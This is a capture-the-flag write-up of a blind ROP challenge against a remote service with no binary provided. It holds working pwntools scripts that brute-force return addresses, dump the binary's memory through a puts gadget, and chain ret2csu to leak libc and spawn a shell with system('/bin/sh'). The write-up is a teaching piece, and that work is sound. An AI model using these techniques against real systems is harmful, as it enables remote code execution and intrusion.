Hunting for eggs!!
Description #
This challenge was a bit special because the binary wasn’t provided! All we were given was an IP address and a port.
When we connect to the service, we are greeted with a nice message.
Are you blind my friend?
The server then reads our answer, replies with a short message and closes the connection.
No password for you!
I tried a few inputs, but the result was always the same.
The first I tried was a format string vulnerability, but it didn’t work. I then assumed there had to be an overflow of some kind, so I tried sending gradually more caracters to the server. I determined that after sending 89 characters or more, the server didn’t respond with the second sentence. That’s a good start, because we know we have messed with the execution flow. But what have we overwritten?
A shot in the dark #
I didn’t know where to start, so I tried overflowing with every byte possible and I stored the results in a JSON file.
results = {}
for i in range(0, 256):
p = remote(HOST, PORT)
p.recvuntil(b"Are you blind my friend?\n")
p.send(b"a"*88 + bytes([i]))
try:
output = p.recvline(timeout=0.5)
results[i] = {"output": str(output), "connected": True}
except EOFError:
results[i] = {"output": str(output), "connected": False}
with open("results.json", "w") as f:
f.write(json.dumps(results))
The result was truely surprising! There were only 5 possible outputs:
- Nothing (the program probably crashed)
"No password for you!"
"Are you blind my friend?"
"Do not dump my memory!"
- 63 bytes of data, including what appeared to be stack addresses
We can deduce that we are definitely overwriting a return address. To confirm it, I bruteforced all bytes of the normal return address and got 0x00000000400713
, which is in the range of a normal .text
section and indicates that the binary is probably 64 bits.
From that leak, we can assume that the base address of the .text
section is at 0x400000
. I was curious to know if other addresses would give other outputs, so I tried them all in a small range.
with open("exploration", "w") as exfile:
for addr in range(0x400000, 0x401000):
exfile.write(f"{hex(addr)}: ")
p = remote(HOST, PORT)
p.recvuntil(b"Are you blind my friend?\n")
p.send(b"1"*88 + p64(addr) + b"2"*256)
output = p.recvall(timeout=1)
if len(output) > 1:
output = output.rstrip(b"\n")
print_out(output)
exfile.write(f"{str(output)}\n")
Once again, only 5 possible outputs were recorded.
Digging deeper #
To make good use of our stack overflow, it would be nice to have some ROP gadgets to work with. I decided to use the few things we knew to find some. I started by taking the highest addresses where a specific string would come out. This way there would be minimal processing between the address and the printing of the string through the socket. Then, I assembled them into a small ROP chain and tried all the addresses in a small range again. Here is what the payload looked like:
- 88 bytes of garbage
- Target return address
- Address that prints "Are you blind my friend?"
- Address that prints "No password for you!"
- Address that prints "Do not dump my memory!"
The idea is that an address that initially returned nothing but now returns one of those strings is probably composed of a number of pop
followed by ret
, which is exactly what we are looking for.
After some processing of the result, I found that a total of 120 addresses had their output change after adding the extra addresses. Of course, when the output changed on multiple subsequent addresses, only the highest one mattered, since the lower ones only led to it. The most interesting ones were those that went from having no output to printing the first string, but also that a few addresses before printed the second string. This pattern indicates clearly that we have some pop
and ret
.
There were 9 candidates remaining.
At first, what I aimed for was to control the 63 bytes of data that was printed on certain addresses. I figured that a leak would greatly help in reversing the binary. Since the leak contained null bytes, I figured it must be a call to write
. Therefore, I was especially looking for gadgets controlling rsi
to control the address of the leak.
Again, there were a few addresses leading to the data leak, so I chose the highest one, at address 0x400560
, since it’s the most likely to not mess with other registers.
My strategy was then to try every gadget cadidate with the leak address to find how it influenced the data printed. Here was the new ROP chain.
- 88 bytes of garbage
- Address of gadget candidate
- 0x400000
- 0x400560 (Address of leaking code)
I put the presumed base address of the binary after the gadget to have a recognizable output. It a gadget could really control the address of the printed data, I should see the string ELF
in its output.
And it worked! The address 0x4007c3
made the ELF
string appear! At first I was confused, because the leak was no longer 63 bytes long. This probably means that the leak function is actually a puts
, and that in the normal flow of execution the write
fuction was called afterwards. Therefore, the gadget at 0x4007c3
was probably a pop rdi
. In any case, I had what I needed: a way to leak arbitrary data!
Exfiltration #
The next step was pretty obvious. To gain more information about the binary, I decided to leak the .text
section. Since puts
stops once it sees a null bytes, I just had to put it in a loop.
def dump_memory(start, end):
data = b""
while len(data) < end - start:
p = remote(HOST, PORT)
p.recvuntil(b"Are you blind my friend?\n")
p.send(b"a"*88 + p64(0x4007c3) + p64(start + len(data)) + p64(0x400560))
output = p.recvall(timeout=1)
output = output.rstrip(b"\n")
if len(output) == 0:
data += b"\x00"
else:
data += output
print(data)
print(hexlify(data))
print(disasm(data))
I used this script to dump the first 4096 bytes of the .text
section and analyzed the result in Ghidra. I was able to deduce a few things. First, the code that allowed me to leak data, situated at 0x400560
, was actually just a PLT entry! It was jumping to it’s GOT entry at 0x6010181
, so I knew that all GOT entries must been nearby.
Secondly, the pop rdi
gadget at 0x4007c3
was actually part of __libc_csu_init
! That’s great news, because I can use this to craft a ret2csu
payload allowing me to control all the main registers!
The case of libc #
Now that I can call arbitrary functions with multiple arguments, I can try to deduce which GOT entry corresponds to which function.
The function I need to find is read
, which I think is used since our input was read even with newlines and null bytes.
I crafted a small ret2csu
payload and bruteforced the addresses in a small range.
for addr in range(0x601000, 0x601100, 8):
print(hex(addr))
p = remote(HOST, PORT)
p.recvuntil(b"Are you blind my friend?\n")
p.send(flat([
b"a"*88,
ret2csu1,
0, # rbx
1, # rbp
addr, # r12 -> call
8, # r13 -> rdx
0x601000, # r14 -> rsi
0, # r15 -> edi
ret2csu2
]))
p.interactive()
I just had to close the interactive sessions until the connection didn’t immediatly close, which happened at address 0x601028
.
I now know the addresses of the read
, puts
and sefvbuf
entries, from experimenting and from reversing the .text
section.
I can use the handy libc database to figure out which version of libc is used. I can even download a copy for my exploit!
Final exploit #
I now have all the pieces necessary to call system(/bin/sh)
. I can use the pop rdi
gadget with the PLT of puts
to leak the base address of libc. Then, I can use ret2csu
with the GOT address of read
to write the string /bin/sh
and a pointer to system
somewhere in the BSS. Finally, I can put the address of /bin/sh
in rsi
and jump to system
. Normally, its not trivial to make an indirect jump with a ROP chain, but that’s exactly what ret2csu
does.
libc = ELF("./libc-2.23.so")
p = remote(HOST, PORT)
p.recvuntil(b"Are you blind my friend?\n")
p.send(flat([
b"a"*88,
# leak libc
poprdi,
got_puts,
plt_puts,
# read /bin/sh and system address
ret2csu1,
0, # rbx
1, # rbp
got_read, # r12 -> call
16, # r13 -> rdx
0x601100, # r14 -> rsi
0, # r15 -> edi
ret2csu2,
# call system
0, # garbage
0, # rbx
1, # rbp
0x601108, # r12 -> call
0, # r13 -> rdx
0, # r14 -> rsi
0x601100, # r15 -> edi
ret2csu2
]))
libc_puts = u64(p.recvline().rstrip(b"\n").ljust(8, b"\x00"))
print(f"libc_puts @ {hex(libc_puts)}")
libc_base = libc_puts - libc.sym["puts"]
print(f"libc_base @ {hex(libc_base)}")
p.send(b"/bin/sh\x00" + p64(libc_base + libc.sym["system"]))
p.interactive()
You might think it would have been easier to simply leak ASLR and then just use the string /bin/sh
already contained in libc and just pop rdi
and ret
to system
. We didn’t have a stack address to create a second ROP chain, but we could simply have ret2main
inside the vulnerable function and overflow again. Well, in that case you would be right, but somethings in the heat of action you don’t necessarily take the most direct path to success.
Flag: CTF{313f12378d33889716128e329457030182023d103ab648b072fa1e839713dab5}